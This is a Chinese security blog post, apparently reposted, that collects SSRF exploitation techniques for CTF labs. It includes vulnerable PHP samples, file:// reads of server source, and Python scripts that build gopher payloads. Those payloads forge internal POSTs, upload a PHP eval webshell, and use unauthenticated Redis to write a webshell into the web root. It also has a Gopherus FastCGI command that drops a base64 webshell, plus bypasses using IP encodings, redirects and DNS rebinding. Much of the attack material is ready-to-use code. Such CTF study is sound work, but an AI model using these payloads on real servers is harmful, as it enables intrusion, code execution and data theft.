ssrf汇总

admin 2022年1月6日01:30:10安全博客 CTF专场评论9 views11160字阅读37分12秒阅读模式

SSRF,Server-Side Request Forgery,服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞

ssrf相关利用

CTF中SSRF的一些trick
了解SSRF,这一篇就足够了

漏洞产生

file_get_contents

1
2
3
4
5
6
7
8
9
10
<?php
if (isset($_POST['url'])) {
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().'img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

这段代码使用 file_get_contents 函数从用户指定的 URL 获取图片。然后把它用一个随机文件名保存在硬盘上,并展示给用户

fsockopen()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}



if(isset($_GET['url'])){
$host="localhost";
$port=80;
$link=$_GET['url'];
echo GetFile($host,$port,$link);
}

?>

这段代码使用 fsockopen 函数实现获取用户制定 URL 的数据(文件或者 HTML)。这个函数会使用 socket 跟服务器建立 TCP 连接,传输原始数据

curl_exec()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>

使用 curl 获取数据

有无回显

SSRF在有无回显方面的利用及其思考与总结

SSRF例题

http/dict/file等协议使用

内网访问

1
?url=http://127.0.0.1/flag.php

伪协议读取文件

无法直接访问得到,用file://伪协议读取

1
?url=file:///var/www/html/flag.php

端口扫描

在SSRF中,dict协议与http协议可用来探测内网的主机存活与端口开放情况。

这里的端口扫描我们用burpsuite来完成。首先抓包,发送到Intruder进行爆破设置

url直接访问

1
?url=http://127.0.0.1:8657

gopher协议

POST 请求

接着,我们将index.php和flag.php的源码读出来:

python

1
2
/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
echo "Just View From 127.0.0.1";
return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
echo $flag;
exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

http访问flag.php

1
?url=http://127.0.0.1/flag.php

右键查看源代码发现key:

1
2
3
4
5

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=86dee61812c0f9821d07b9b8fdf56790-->
</form>

看来应该是让我们输入这个key进入,从而得到flag,但是这里并没有提交的按钮啊,所以我们要自己构造post请求,将这个key发送过去。

然后,我们用gopher协议构造post请求:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

key=86dee61812c0f9821d07b9b8fdf56790
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

注意:上面那四个参数是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。

特别要注意Content-Length应为字符串“key=c384d200658f258e5b5c681bf0aa29a8”的长度。

执行该python脚本即可生成符合gopher协议格式的payload:

1
?url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D86dee61812c0f9821d07b9b8fdf56790%250D%250A

上传文件

构造如下payload进行ssrf,从目标机本地访问flag.php:

1
/?url=http://127.0.0.1/flag.php

得到一个文件上传的页面,让我们上传一个Webshell。

这题和上一题“POST请求”其实差不多,只不过上一题用POST方法传递key,这道题用POST方法传递的是文件。

接着,我们将index.php和flag.php的源码读出来:

1
2
/?url=file:///var/www/html/index.php
/?url=file:///var/www/html/flag.php

index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

error_reporting(0);

if (!isset($_REQUEST['url'])) {
header("Location: /?url=_");
exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

flag.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just View From 127.0.0.1";
return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
echo getenv("CTFHUB");
exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
</form>

可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。

首先就是要得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(但这里点击提交按钮是得不到flag的,必须从目标机本地访问哦):

可以发现flag.php确实是个文件上传的页面,且仅要求上传的文件大小大于0即可得到flag,并没有任何过滤。接下来我们尝试利用gopher协议上传文件。

首先就是要得到文件上传的数据包,才能编写gopher的payload。因此我们对这个文件上传的flag.php页面进行F12前端改写,添加一个submit提交按钮(但这里点击提交按钮是得不到flag的,必须从目标机本地访问哦):

<input type="submit" name="submit">

随便上传一个非空的文件,然后抓包,修改 Host 主机:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------295876417737592404551854917111
Content-Length: 393
Origin: http://challenge-4f1d8144a47b9d33.sandbox.ctfhub.com:10080
Connection: close
Referer: http://challenge-4f1d8144a47b9d33.sandbox.ctfhub.com:10080/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------295876417737592404551854917111
Content-Disposition: form-data; name="file"; filename="1.gif"
Content-Type: image/gif

<script language = 'php'>@eval($_POST[cmd]);</script>
-----------------------------295876417737592404551854917111
Content-Disposition: form-data; name="submit"

提交查询
-----------------------------295876417737592404551854917111--
"""

#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result) # 这里因为是GET请求所以要进行两次url编码

FastCGI协议

FastCGI

维基百科对FastCGI的解释:快速通用网关接口(Fast Common Gateway Interface/FastCGI)是一种让交互程序与Web服务器通信的协议。FastCGI是早期通用网关接口(CGI)的增强版本。FastCGI致力于减少网页服务器与CGI程序之间交互的开销,从而使服务器可以同时处理更多的网页请求。

php-fpm

官方对php-fpm的解释是FPM(FastCGI 进程管理器)用于替换 PHP FastCGI 的大部分附加功能,对于高负载网站是非常有用的。也就是说php-fpm是FastCGI的一个具体实现,其默认监听9000端口。

php-fpm攻击实现原理

想要分析它的攻击原理需要从FastCGI协议封装数据内容来看,这里仅对攻击原理做简要描述,CGI 和 FastCGI 协议的运行原理 这篇文章中详细介绍了FastCGI协议的内容,其攻击原理就是在设置环境变量实际请求中会出现一个 SCRIPT_FILENAME’: ‘/var/www/html/index.php 这样的键值对,它的意思是php-fpm会执行这个文件,但是这样即使能够控制这个键值对的值,但也只能控制php-fpm去执行某个已经存在的文件,不能够实现一些恶意代码的执行。

而在php5.3.9后来的版本中,php增加了安全选项导致只能控制php-fpm执行一些php、php4这样的文件,这也增大了攻击的难度。但是好在php官方允许通过PHP_ADMIN_VALUE和PHP_VALUE去动态修改php的设置。

那么当设置php环境变量为:auto_prepend_file = php://input;allow_url_include = On 时,就会在执行php脚本之前包含环境变量auto_prepend_file 所指向的文件内容,php://input 也就是接收POST的内容,这个我们可以在FastCGI协议的body控制为恶意代码,这样就在理论上实现了php-fpm任意代码执行的攻击。

详情请看:https://bbs.ichunqiu.com/thread-58455-1-1.html

接下来,我们使用 Gopherus 工具生成攻击FastCGI的payload。

利用条件:

  • libcurl版本>=7.45.0
  • PHP-FPM监听端口
  • PHP-FPM版本 >= 5.3.3
  • 知道服务器上任意一个php文件的绝对路径

下面我们就利用这个工具来执行命令,网web目录里面写Webshell:

1
2
3
python gopherus.py --exploit fastcgi
/var/www/html/index.php # 这里输入的是一个已知存在的php文件
echo PD9waHAgZXZhbCgkX1BPU1RbJ3llMXMnXSk7Pz47 | base64 -d > /var/www/html/shell.php

ssrf汇总
然后进行二次编码后将最终的payload内容放到?url=后面发送过去(这里需要进行两次编码,因为这里GET会进行一次解码,curl也会再进行一次解码):
ssrf汇总
连接shell.php

redis

如上图所示,我们在目标主机的6379端口上发现了Redis的报错,说明目标主机上确实运行着Redis服务,并且端口为其默认端口6379。

利用未授权访问攻击Redis的方法有很多,我们可以写webshell、反弹shell,也可以写ssh公钥,这里我们用写webshell的方法。

构造redis命令

1
2
3
4
5
flushall
set 1 '<?php eval($_POST["ye1s"]);?>'
config set dir /var/www/html
config set dbfilename shell.php
save

我们利用如下Exp脚本生成符合gopher协议格式的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import urllib
protocol="gopher://"
ip="127.0.0.1"
port="6379"
shell="\n\n<?php eval($_POST[\"ye1s\"]);?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print urllib.quote(payload) # 由于我们这里是GET,所以要进行两次url编码
```
将生成的payload,作为url的值进行访问,用中国蚁剑连接shell.php
### FTP

ftp协议passive模式ssrf攻击php-fpm: https://xiaokou.top/posts/7a99bc4/

https://ha1c9on.top/2021/04/29/lmb_one_pointer_php/

## Bypass
### URL Bypass
说url必须以 “http://notfound.ctfhub.com” 开头。我们可以利用 @ 来绕过,如 http://[email protected]127.0.0.1 实际上是以用户名 test 连接到站点127.0.0.1,即 http://[email protected]127.0.0.1 与 http://127.0.0.1 请求是相同的,该请求得到的内容都是127.0.0.1的内容。
```bash
/?url=http://[email protected]/flag.php

例题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
if(isset($_GET['url'])){
$url = parse_url($_GET['url']);
if(!$url){
die('解析错误: '.$_GET['url']);
}
if(substr($_GET['url'], strlen('http://'), strlen('google.cn')) === 'google.cn'){
die('怎么回事,小老弟! 绕过不会吗');
}
if(
$url['host'] === 'google.cn'
){
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $_GET['url']);
curl_exec($ch);
curl_close($ch);
}else{
die('换个请求吧');
}
}

绕过

1
?url=file://[email protected]/flag

IP Bypass

过滤了 '/127|172|@|\./'

1.利用进制的转换
可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个php脚本可以一键转换。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";
echo $r;
echo "八进制:";
echo decoct($r);
echo "十六进制:";
echo dechex($r);
?>

得到:

1
2
3
4
127.0.0.1:
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

2.利用其他各种指向127.0.0.1的地址

1
2
3
4
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①

可以

1
?url=http://2130706433/flag.php

302跳转 Bypass

在网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问 http://127.0.0.1.xip.io/flag.php ,那么实际上访问的是就 http://127.0.0.1/flag.php
最后payload

1
?url=http://0.xip.io/flag.php

或者短地址跳转

DNS重绑定 Bypass

对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤
ssrf汇总
对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

1
2
3
4
(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果

由于我们无法在程序运行时以毫秒为单位手动更改dns记录,因此需要配置一个自定义DNS服务器,并设定好某些域名的解析IP,再将TTL设置为0,这样后端就不会有缓存。我们可以自己编写解析服务,也可以利用这个网站获取一个测试用的域名:https://lock.cmpxchg8b.com/rebinder.html

ssrf汇总
但是它只能在2个IP之间随机变化,因此往往需要发送多个请求才能得到我想要的结果。

我们利用该域名即可绕过限制成功访问flag.php得到flag,但是要不停访问数次才行(可以借助burpsuite):

/?url=7f000001.2f653948.rbndr.us/flag.php

file://限制

得知有srrf漏洞,file://协议被过滤了,用发现file协议被过滤了,我们可以尝试绕过:file:/、file:<空格>///

1
2
?url=file:/var/www/html/index.php
?url=file:%20///var/www/html/index.php

参考文章:

https://whoamianony.top/2020/12/06/web-an-quan/wo-zai-ctfhub-xue-xi-ssrf/
SSRF 服务端请求伪造 https://ctf-wiki.github.io/ctf-wiki/web/ssrf/
SSRF漏洞的利用与学习 https://uknowsec.cn/posts/notes/SSRF%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AD%A6%E4%B9%A0.html

FROM :blog.cfyqy.com | Author:cfyqy

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月6日01:30:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  ssrf汇总 http://cn-sec.com/archives/721683.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: